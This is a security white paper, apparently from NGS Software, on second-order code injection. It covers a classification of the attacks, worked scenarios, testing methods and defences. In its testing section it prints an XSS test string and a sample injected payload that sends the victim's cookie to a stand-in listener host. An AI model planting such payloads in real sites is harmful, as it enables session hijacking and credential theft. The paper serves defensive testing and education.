Second-order Code Injection Attacks

Advanced Code Injection Techniques and Testing Procedures

Abstract

Many forms of code injection targeted at web-based applications (for instance cross-site scripting and SQL injection) rely upon the instantaneous execution of the embedded code to carry out the attack (e.g. stealing a user's current session information or executing a modified SQL query). In some cases it may be possible for an attacker to inject their malicious code into a data storage area that may be executed at a later date or time. Depending upon the nature of the application and the way the malicious data is stored or rendered, the attacker may be able to conduct a second-order code injection attack.

A second-order code injection attack can be classified as the process in which malicious code is injected into a web-based application and not immediately executed, but instead is stored by the application (e.g. temporarily cached, logged, stored in a database) and then later retrieved, rendered and executed by the victim.

Author

Gunter Ollmann, Professional Services Director – email: gunter[at]ngssoftware.com

Section 1: **Background**

In the majority of cases, the attacker's purpose for conducting a code injection attack against a web-based application is to immediately cause a response from a targeted host or other nominated victim. The most common techniques for code injection attacks are:

- HTML Embedding – the process of adding extra HTML-based content that will be rendered in the recipient's browser and pretends to come from the vulnerable application. This type of attack is often used to conduct virtual defacements of websites, or to present liable and defamatory content as coming from a particular application (e.g. false news articles designed to lower an organisations share price).
- Cross-site Scripting - commonly used to cause the execution of scripting code (controlled by the attacker) in order to steal information from the victim (e.g. current logged in session information) or cause the installation of Trojan horse software that can be later used to take full control of the victims host.
- SQL Injection – the process of injecting SQL language code within data requests that result in an application's back-end database server either surrendering confidential data, or cause the execution of malicious scripting content on the database that results in a host compromise.
- Buffer Overflow – the process of delivering a specific payload which may contain binary data or character strings that will be interpreted as such. It is designed to affect the memory storage areas of the application and potentially cause a denial of service attack or execute malicious commands focused upon host compromise.
- File Includes – a common vulnerability that allows an attacker to inject malicious code such as file location references or configuration variables into system files that could be interpreted by the hosting application or base operating system. Typically used to cause server-side execution of malicious code designed to compromise the host.

There are also a number of influences on the way code injection attacks may be conducted. For instance:

- Timing – will the attack associated with the code injection be conducted synchronously or asynchronously by the application? E.g. immediately in real-time, as a background sub-process, etc.
- Location – where within the application infrastructure will the code injection target? E.g. client, server, secondary server, etc.
- Environment – under which environmental variables will the code injection be executed? E.g. a customer's browser, customer support workstation, administrators console, etc.
- Source – from which area within the application will the code injection be installed from? E.g. an authenticated customer, stored data within the database, etc.

While there are many other popular delivery mechanisms for code injection and many permutations to a particular technique, "first-order" attacks are typically conducted in real-time or may be verified/initiated immediately.

Second-order injection attacks typically do not occur immediately, and may not find a victim for many days or months. In a lot of cases the application that was initially vulnerable and permitted the code insertion, is not the application that activates the attack.

Section 2: Understanding Second-order Code Injection

As custom web-based applications become more sophisticated and integrated into evermore complex operational environments, there is an increasing trend to reprocess submitted data and optimise its use. In addition, there is a growing trend to increase an application users "experience" by providing historical or statistically based information.

This reprocessing and alternative usage of client submitted data means that there is an increased probability that content verified "safe" for one application component may have unexpected results in another.

Second-order code injection is the realisation of malicious code injected into an application by an attacker, but not activated immediately by the application. In a lot of cases, the victim of the attack may not even be using the same application that the attacker injected their code.

2.1. Categorising Second-order Code Insertion

As with classic code injection vulnerabilities, there are a number of categories or classes of attack vector. For second-order code injection vulnerabilities, the most applicable classes are:

- Class 1: Frequency-based Primary Application – this class includes applications that present re-processed client requests using statistical frequency models. Examples include application functionality that provides for "top 10 most searched items", "most common user requests", "other viewers recommended", "yesterdays most popular article", etc. Attacks within this class frequently target other users of the primary application.
- Class 2: Frequency-based Secondary Application – this class includes applications that did not initially receive the injected code, but instead process submissions from an application and represent this material for statistical review. Examples include applications that review web-request or error logs and present statistical information such as "most popular web browser", "most common search phrases", "top 50 referrers", "most frequent failed requests", etc. Attacks within this class typically target system administrators.
- Class 3: Secondary Support Application – this class includes applications used to internally support primary applications. These secondary support applications typically view or manipulate information obtained by the primary application, and often trust the data to be secure or already sanitised. In most cases, the secondary application is used to view or maintain data submitted by clients that is only visible/applicable to the client and the owner organisation. Examples include applications used by help-desk operators and phone support agencies to manage/update customer records. Attacks within this class typically target internal application users and attack activation may be accelerated through social engineering vectors such as phoning the support line and saying "my address details appear to be wrong and I can't change them, can you please change them for me".
- Class 4: Cascaded Submission Application – this class includes applications (or critical application components) that make use of multiple client submissions within a single processing statement. For example, this may include applications that require visitors to create a user account that includes address information. The address information is then used for application functions such as "find the closest store near me", "locate other people who went to my school", etc. Attacks within this class typically utilise SQL code statements to manipulate the search requests and consequently target backend database resources.

2.2. Storage Areas

Injected code may be stored using a variety of methods, and the storage technique will often dictate the class of attack. There are three categories for code storage:

1. Temporary Storage – for example previous application search criteria and other cached data.
2. Short-term Storage – for example information stored in daily/weekly logs that are reviewed irregularly or over-written/purged frequently.
3. Long-term Storage – for example data permanently stored in backend systems that must be manually removed.

2.3. Understanding by Example

The easiest way to understand these complex attacks is through example.

2.3.1. Example: Shared Search Criteria (Class 1 attack)

Many popular web applications allow visitors to search for specific content and display matching findings back to the user. In traditional code injection attacks, an attacker may be able to formulate a specific URL that abuses the applications ability to accept user-defined search criteria and crafts a malicious attack against anyone following the link (e.g. cross-site scripting to steal the users session information). If the application search cannot be turned into a malicious URL, the cross-site scripting attack is not particularly useful for affecting anyone else beyond the attacker himself or herself.

Increasingly common are “most popular searches”, “previous searches”, “other visitors also searched for:” and “did you mean **** instead” search functionality. In general, the data presented to the search user is processed from temporarily-stored or dynamically-cached search requests. Through careful manipulation of the search data and with repeated submissions, an attacker may be able to influence this extended search functionality. This second-order code injection attack would victimise random users of the web application, and could be used to replace visible site content (e.g. faking a defacement or presenting a “please re-login” interface to capture user credentials).

2.3.2. Example: Website Statistics (Class 2 attack)

Most popular web server applications allow for the advanced logging of client browser requests. These logs, at a minimum, usually contain the date/time of the request, the source of the request (e.g. the IP address of the client browser), the type and nature of the request (e.g. a HTTP GET request for a particular URL or file), the type of client browser (e.g. Mozilla compatible) and the referrer URL.

To help administer and tune the website, many administrators process these web logs using automated tools designed to generate valuable visitor statistics. In many cases, these statistical analysis tools provide HTML-based output that can be viewed “live” from a web-based administrator interface. This is particularly so with managed ISP hosting services.

For websites providing web-based administrator access to the site statistics, it is often possible to conduct a second-order code injection attack designed to hijack the current administrator session. Since both the referrer (i.e. the HTTP REFERER: field) and the browser type (i.e. the HTTP BROWSER-TYPE: field) are defined by the client browser, it is not difficult for an attacker to modify these values with content that contains malicious code. While many statistic generator packages are capable of sanitising or stripping dangerous content from logged URL data, they quite often fail to offer similar protection against malicious code embedded within these additional logged fields.

Second-order code injection into these administrator site-statistics pages is particularly dangerous, as most often theft of session information will enable the attacker to gain full administrator control over the site content. In addition, with many popular ISP hosting packages, the administrator interface offering these site statistics also offers access to auxiliary service administration such as web-mail, FTP services and DNS management.

2.3.3. Example: Customer Services (Class 3 attack)

Many online applications allow users to submit personal details when creating their accounts. In most cases, any malicious content submitted into these fields would only affect the attacker himself (i.e. no other application user would normally be allowed to see these details) – consequently input sanitisation is often minimal.

However, as organisations continue to recycle development technologies, it is not uncommon for internal helpdesk teams or customer services departments to use web-based technologies to view customer records. Therefore, if the attacker was to insert malicious code within a data field, anyone later reviewing the field would cause the code to execute. An attacker may choose to speed things along by making use of the organisations customer support phone number and ask them to review or alter his records – thus initiating the attack.

The most malicious use of this type of attack is to cause the installation of Trojan horse software on the customer services system, and provide a route for the attacker into the organisations network.

2.3.4. Example: Second-order SQL Injection (Class 4 attack)

Readers are recommended to review Chris Anley's paper "Advanced SQL Injection in SQL Server Applications".

Section 3: Testing for the Vulnerability

The immediate attack nature of common code injection vectors means that they are often very easy to detect. By submitting an associated attack signature (for example: *<SCRIPT>alert('code injection')</SCRIPT>*) and observing the server response, the process of discovering vulnerable application components can be easily automated. For web applications that perform some kind of security sanitisation or encapsulation of injected code, the submission of hundreds of differently encoded attack strings (for instance replacing the "<" character with %u003C) can often uncover a potential code injection attack vector, and is ideally automated.

On the other hand, testing for second-order code injection is often very difficult and may require access to backend data analysis tools to identify whether an application is in fact vulnerable. Depending upon the nature and class of second-order code injection, the potential attack could occur within any number of associated applications or at any time following the data submission. Consequently, the current generation of automated web-application assessment tools are inadequate and incapable of identifying most of these vulnerabilities.

Since any "test signature" (i.e. a non-malicious string that could be easily converted into a real attack) submitted to the application cannot be verified within the subsequent server response, an alternative strategy must be adopted for vulnerability discovery.

3.1. Automated Discovery

Automated discovery of second-order code injection is difficult – primarily due to time delays and alternative path locations. To overcome some of these problems, the automated tool must:

- Be capable of submitting all the usual attack permutations of classical code injection attacks.
- Include within each data submission a unique identifier that can be tracked back to a unique attack vector, time of occurrence, insertion point and source.
- Be capable of submitting the same attack data repeatedly (e.g. 100 to 10,000 times – dependant upon how frequently used the application is).
- Be capable of repeatedly mapping (e.g. spydering) a web-based application at different times to discover any changed pages containing the previously submitted data.

A tool undertaking these tasks is potentially capable of detecting most Class 1 & 4 second-order code insertion vulnerabilities.

In order to detect some forms of Class 2 & 3 code insertion vulnerabilities, the automated testing application must maintain a listening service and observe requests for an extended period (this may range from hours through to weeks). Ideally this listening service would be Internet-bound.

The purpose of this listening service is to record subsequent application/browser requests for resources named in the previously submitted code injection signatures. For example, some of the automated code insertions may contain the following data:

```
src="http://watcher.example.com/test.htm?sig=677823676&cookie="%20+%20Document.Cookie
```

Where "watcher.example.com" is the location of the listening service and "sig" is the unique identifier for the attack signature (including date, time, insertion location and source of the data submission).

3.2. Manual Techniques

While automated discovery techniques may be used to discovery second-order code injection vulnerabilities, manual investigative techniques are likely to prove a quicker and more exhaustive technique. Unlike classical application security assessment techniques, security professionals will need greater access to integrated backend systems if they are to uncover all the attack vectors.

To ensure the best prospects of discovering these vulnerabilities, security professionals and application/environment owners should:

- Ensure that network diagrams and application data flow schematics are available during testing.
- Inspect all short-term and long-term data storage areas for traces of vulnerability test strings constantly throughout the test.
- Manually review secondary support applications that are likely to access the stored data.
- Understand the backend technologies and manual processes used to display or manipulate the stored data.
- Create a 'listener' service capable of detecting any requests made by vulnerable systems for data resources contained within the test strings – and to keep this application running beyond the length of the testing duration. This listening service should be located within the organisations infrastructure and accessible from any network segment.

Section 4: Protecting Against Second-order Code Injection

The processes for protecting against second-order code injection attacks are almost identical to the remediation advice for any classic code injection attack. This remediation advice and adherence to security best practices includes:

- Never trust user-submitted data.
- Client-side data sanitisation can always be defeated.
- Always sanitise data at the server-side.
- Use a white-list approach to sanitising data (i.e. disallow everything by default, and explicitly enumerate data characters that are allowed or deemed "safe").
- Beware that data marked "safe" for one application may not be safe for another application/component.
- Each application that retrieves stored data (especially if the data is likely to have been supplied by users) must apply its own data sanitisation processes before processing it further.
- Ideally boundary validation procedures should be used to ensure that all data processed within and between application components is properly validated.
- Ensure that development staff include appropriate data sanitisation routines in all application components and auxiliary services.
- Educate staff with potential access to data submitted by users (e.g. help desk and customer support personnel) on how to respond to a possible attack (e.g. who should the contact if something suspicious happens on their screen).
- Ensure that desktop protection agents such as Anti-virus, Personal Firewalls and IDS are installed and their signatures are up to date.
- Ensure that appropriate egress filtering and out-bound blocking is in place on all network segments.

4.1. The Probability of Attack

At the present time, the probability of successful attack is low. This is due to a number of factors:

- Classical (first-order) code injection attacks are so common that, when compared to second-order code injection, the relative probability of attack is low.
- First-order code injection represents the "low hanging fruit" of the application security world. Consequently it is not until these first-order code injection points are difficult to discover within a particular application that attackers are likely to fully target an organisation using these attack vectors.
- In many cases second-order code injection must be done "blind" – i.e. the attacker seeks to abuse backend functionality without prior knowledge of the system. This means that it is difficult to know whether an attack is likely to be successful.
- The fact that the success of an attack may not be known for many hours, days or weeks, means that an attacker is likely to try and exhaust other attack vectors that provide immediate verification first.

It is expected that the probability of attack will increase in the following years as organisations install systems that better detect and protect them against first-order code injection attacks – but are incapable to detecting the more complex second-order attack vectors. In addition, the ability to submit attack code into an application's short-term or long-term data storage areas means that it is often possible to "seed" an application prior to attack – making it an ideal vector for professional criminals.

4.2. The Impact of Attack

The impact of second-order code injection attacks tends to be greater than first-order code injection. This is largely due to:

- The potential to target administrators of the application and the supporting environment.
- The ability to target non-technical resources such as customer support staff.
- The potential to affect an organisation's internal hosts (e.g. help-desk workstations and databases).
- The ability to "seed" the application data storage areas with attack code prior to exploitation.

4.3. Business Risks

The business risks associated with second-order code injection vulnerabilities are difficult to evaluate. While the current likelihood of successful exploitation is relatively low, the impact of exploitation is often very high. Consequently second-order code injection vulnerabilities represent a medium-to-high risk to business continuity and data integrity.

This risk factor is likely to increase over the next few years as tools and techniques help mitigate first-order code injection vulnerabilities, but are less likely to mitigate second-order code injection vulnerabilities. In addition, as backend systems become more sophisticated and share data more freely, additional attack vectors will become available.

Section 5: Conclusions

Classical code injection vulnerabilities can often be discovered using automated tools or techniques. However, as applications become more sophisticated and integrate with more backend systems that many not directly respond to malicious code injections, standard vulnerability assessment tools are incapable of detecting second-order code injection vulnerabilities – providing false comfort to the organisations that rely upon them. Consequently an extended automated testing methodology is required to discover these vulnerabilities.

Unfortunately, automated tools will never be able to detect all second-order code injection vulnerabilities. Instead, security professionals must work closely with application development and support stuff – making use of data processing schematics and understanding auxiliary applications – if they are to detect and prevent these increasingly popular attack vectors.

Organisations must ensure that all primary data processing components and secondary applications are capable of sanitising the data they actually use, and do not inherently trust data from other "processed" sources.

5.1. Resources

"HTML Code Injection and Cross-site scripting", G*unter Ollmann, 2001*

"Advanced SQL Injection in SQL Server Applications", *Chris Anley, 2002*

About Next Generation Security Software (NGS)

NGS is the trusted supplier of specialist security software and hi-tech consulting services to large enterprise environments and governments throughout the world. Voted "best in the world" for vulnerability research and discovery in 2003, the company focuses its energies on advanced security solutions to combat today's threats. In this capacity NGS act as adviser on vulnerability issues to the Communications-Electronics Security Group (CESG) the government department responsible for computer security in the UK and the National Infrastructure Security Co-ordination Centre (NISCC). NGS maintains the largest penetration testing and security cleared CHECK team in EMEA. Founded in 2001, NGS is headquartered in Sutton, Surrey, with research offices in Scotland, and works with clients on a truly international level.

About NGS Insight Security Research (NISR)

The NGS Insight Security Research team are actively researching and helping to fix security flaws in popular off-the-shelf products. As the world leaders in vulnerability discovery, NISR release more security advisories than any other commercial security research group in the world.